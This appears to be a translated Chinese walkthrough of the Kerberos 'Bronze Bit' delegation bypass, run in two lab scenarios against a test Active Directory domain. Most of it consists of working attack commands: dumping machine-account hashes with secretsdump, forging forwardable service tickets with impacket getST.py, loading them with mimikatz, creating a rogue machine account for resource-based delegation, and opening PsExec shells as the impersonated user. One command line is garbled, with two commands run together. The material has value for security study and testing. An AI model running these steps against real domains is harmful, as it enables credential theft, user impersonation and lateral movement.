0x01 前言
在getST.py（https://github.com/SecureAuthCorp/impacket/blob/master/examples/）中添加了一個新的PR-force-forwardable標識。啟用該標識后，程序將執行以下步驟（新添加的內容以粗體顯示）：
- 程序將使用通過-hash或-aesKey參數提供的密鑰，獲得一個TGT作為命令行指定的服務主體
- 程序將通過其TGT執行S4U2self交換，以獲得通過-impersonate參數指定的用戶的服務主體的服務票據
- 程序將使用步驟1中使用的服務主體的相同密鑰來解密服務票據
- 程序將編輯服務票據，將“ forwardable”標識設置為1。
- 程序將使用服務主體的密鑰重新加密編輯后的服務票據。
- 程序將與服務票證及其TGT進行S4U2proxy交換，以獲得作為通過-spn參數指定的服務的模擬用戶的服務票據
- 該程序將輸出結果作為服務票據，該服務票據可用於對目標服務進行身份驗證並模擬目標用戶。
通過編輯票據並將其forwardable bit 強制設置為1，該程序可以模擬作為“受保護的用戶”組成員或使用“帳戶敏感且無法委派（Account is sensitive and cannot be delegated"）”設置配置的用戶。這也允許該程序與為“僅Kerberos”約束委派配置的服務一起使用。
在下面的示例中，“Service1”允許對“Service2”執行約束委派，而User2被配置為“賬號敏感且無法委派（sensitive and cannot delegat）”。如果沒有該-force-forwardable標識，則S4U2proxy交換將失敗，因為S4U2self返回的票據不可轉發。使用新的標識，程序將成功執行並生成可用於模擬User2的服務票據。可以通過mimikatz加載該票據，並立即以User2身份訪問Service2。
0x02 示例攻擊1
在這個場景中，我們將看到利用該漏洞將如何使繞過“信任此用戶以僅委派給指定服務–僅使用Kerberos”保護，並模擬受委派保護的用戶。
1.環境配置
測試域（test.local）含有3台運行Windows Server 2019版本的服務器，但未
修復該漏洞
。將在Service1服務器上以User1的身份發起攻擊。並對User2賬號發起攻擊，因為Service2服務器具有管理訪問權限。將為所有Kerberos票證與域控制器（DC）交互。
在DC上，對Service1進行配置，以使其可以執行約束委派，而無需將協議轉換為Service2上。這樣可以確保滿足攻擊路徑第3步的條件。如果在Active Directory GUI中設置了此配置，將如下所示：
在DC上還需要更新User2帳戶，以防止其受約束委派。帳戶可以配置為“帳戶敏感且無法委派”屬性。該帳戶也可以成為“受保護的用戶”組的成員。這些配置更改中的一個或兩個都是等效的：
使用“帳戶敏感且無法委派”屬性配置User2：
- 將User2添加到“受保護的用戶”組中：
2.執行攻擊
退出域控制器，並以User1身份登錄Service1服務器上。以獲取初始攻擊據點（攻擊路徑中的第1步）。啟動PowerShell會話，並確認User1和Service1當前無法在其自己的授權下訪問Service2。
命令：
whoami
ls \\service2.test.local\c$
.\PSTools\PsExec64.exe \\service2.test.local\ powershell.exe
執行：
已確認User1無法直接訪問Service2。繼續進行攻擊路徑的第2步：獲取Service1的哈希值。在這個場景中，將使用Impacket的
secretsdump.py
來獲取Service1計算機帳戶的AES256-CTS-HMAC-SHA1-96值和LM:NTLM哈希值。
命令：
python .\impacket\examples\secretsdump.py 'test/user1:<user1_password>@Service1.test.local'
執行：
在獲得必要的哈希之后，將首先嘗試在沒有-force-forwardable標識的情況下執行getST.py程序。無法執行成功。如上所述，S4U2self交換仍將服務票據返回給User2的Service1，但是由於服務的委派限制和用戶不受委派的保護，該票據的Forwardable標識沒有被設置。這會導致在S4U2proxy交換中將票據用作認證時出錯
命令：
.\impacket\examples\getST.py -spn cifs/Service2.test.local -impersonate User2 -hashes <LM:NTLM hash> -aesKey <AES hash> test.local/Service1
執行：
運行漏洞利用程序，這是攻擊路徑的第4步。我們將重復前面的命令，但是這次包括-force-forwardable命令行參數
命令：
.\impacket\examples\getST.py -spn cifs/Service2.test.local -impersonate User2 -hashes <LM:NTLM hash> -aesKey <AES hash> test.local/Service1 -force-forwardable
getST.py -spn cifs/Service2.test.local -impersonate User2 -hashes aad3b435b51404eeaad3b435b51404ee:7c1673f58e7794c77dead3174b58b68f -aesKey 4ffe0c458ef7196e4991229b0e1c4a11129282afb117b02dc2f38f0312fc84b4 test.local/Service1 -force-forwardable
執行：
命令成功輸出：
Service ticket from S4U2self flags:
00000000101000010000000000000000
Service ticket from S4U2self is not forwardable
Forcing the service ticket to be forwardable
Service ticket flags after modification:
01000000101000010000000000000000
Service ticket from S4U2self now is forwardable
通過包含-force-forwardable標志，該漏洞利用會自動執行，並將從S4U2self交換接收的服務票據轉換為可轉發票據。這是通過使用Service1的哈希值解密票據，將標志值中的第二位從0更改為1，然后重新加密票據。此可轉發票據在S4U2proxy交換中發送，Service2作為User2的服務票證被返回並寫入到User2.ccache的磁盤上。
接下來，將使用Mimikatz將服務票據加載到票據緩存中以供使用。加載后，將看到Mimikatz確認這是User2訪問Service2的cifs服務的有效票據。
命令：
.\mimikatz\mimikatz.exe "kerberos::ptc User2.ccache" exit
或者
mimikatz(commandline) # kerberos::ptc User2.ccache
執行：
將服務票據添加到緩存后，現在就可以像訪問User2一樣訪問Service2了。我們擁有User2在Service2上的所有權限。我們將使用
Mark Russinovich
的
PSExec
在
Service2
服務器上獲取PowerShell會話，並運行一些命令。這是攻擊路徑的最后一步。
命令：
ls \\service2.test.local\c$
.\PSTools\PsExec64.exe \\service2.test.local\ powershell.exe
whoami
hostname
執行：
0x03 示例攻擊2
1.環境配置
我們將繼續使用上一個示例中的環境，並進行一些修改。目標User2帳戶可以保留其配置為“受保護的用戶”成員的身份，或使用“帳戶敏感且無法委派”屬性來保持其配置
首先，刪除Service1的委派權限。連接到DC並使用“不信任此計算機進行委派”配置Service1
編輯Service2計算機對象，授予User1寫入權限。當我們直接向User1用戶授予權限時，用戶通常將通過特權組的成員身份獲得對一個或多個AD對象的寫權限。用戶不一定需要是域管理員。
2.執行攻擊
退出域控制器，並以User1身份登錄Service1服務器。
以獲取初始攻擊據點
（攻擊路徑中的第1步）
。如果從第一個示例中繼續攻擊，確保清除本地Kerberos票據緩存。清除緩存的最有效方法就是重新啟動Service1。
與前面的示例不同，此攻擊不會利用Service1和Service2之間的任何委派信任關系。在將Service1配置為“不信任此計算機進行委派（Do trust This computer for delegation）”后，此信任關系不再存在。我們需要與Service2建立一個新的委派關系，這次是一個全新的服務。
為了在環境中創建新服務，我們將使用Kevin Robertson的
Powermad
創建一個新的計算機帳戶。這不需要提升賬號的權限，默認情況下，域中的任何用戶都可以使用。我們將計算機帳戶命名為“AttackerService”，並提供一個任意密碼如：“AttackerServicePassword”
命令：
Import-Module .\Powermad\powermad.ps1
New-MachineAccount -MachineAccount AttackerService -Password $(ConvertTo-SecureString 'AttackerServicePassword' -AsPlainText -Force)
執行：
由於我們選擇了新機器帳戶的密碼，因此我們可以使用Mimikatz輕松計算出相應的密碼哈希。這將完成攻擊路徑的步驟2。
命令：
.\mimikatz\mimikatz.exe "kerberos::hash /password:AttackerServicePassword /user:AttackerService /domain:test.local" exit
執行：
讓我們使用PowerShell Active Directory模塊檢查我們新創建的機器帳戶。由於該模塊尚不可用，因此我們將安裝相應的功能，導入該模塊，然后檢查我們新創建的計算機帳戶。
命令：
Install-WindowsFeature RSAT-AD-PowerShell
Import-Module ActiveDirectory
Get-ADComputer AttackerService
執行：
在確認機器帳戶的存在后，我們可以在Service2和AttackerService之間建立受約束的委派信任關系。因為User1（我們的受控立足點帳戶）對Service2對象具有寫權限，所以我們可以將AttackerService添加到Service2的PrincipalsAllowedToDelegateToAccount列表中。這將在Service2上建立基於資源的約束委派，從AttackerService接受約束委派。完成此步驟后，我們就滿足了攻擊路徑第3步的條件。
命令：
Set-ADComputer Service2 -PrincipalsAllowedToDelegateToAccount AttackerService$
Get-ADComputer Service2 -Properties PrincipalsAllowedToDelegateToAccount
執行：
我們准備繼續執行攻擊路徑的第4步並執行漏洞利用。我們將使用與上一個示例相同的命令，但是這次指定AttackerService而不是Service1，並且使用Mimikatz計算哈希值。當在命令中包含-force-forwardable標志時，我們將看到與上一個示例相同的結果。執行漏洞利用，設置可轉發標志，並將作為User2的Service2的服務票證寫入到User2.ccache的磁盤上。
命令：
python .\impacket\examples\getST.py -spn cifs/Service2.test.local -impersonate User2 -hashes 830f8df592f48bc036ac79a2bb8036c5:830f8df592f48bc036ac79a2bb8036c5 -aesKey 2a62271bdc6226c1106c1ed8dcb554cbf46fb99dda304c472569218c125d9ffc test.local/AttackerService -force-forwardableet-ADComputer Service2 -PrincipalsAllowedToDelegateToAccount AttackerService$
執行：
現在，我們可以簡單地重復前面例子中的最后命令。通過使用Mimikatz將服務票據加載到我們的本地Kerberos票據緩存中，我們將為攻擊路徑的第5步做准備。然后，我們將通過與Service2進行交互（模擬User2）來執行步驟5
命令：
.\mimikatz\mimikatz.exe "kerberos::ptc User2.ccache" exit | Out-Null
ls \\service2.test.local\c$
.\PSTools\PsExec64.exe \\service2.test.local\ powershell.exe
whoami
hostname
執行：
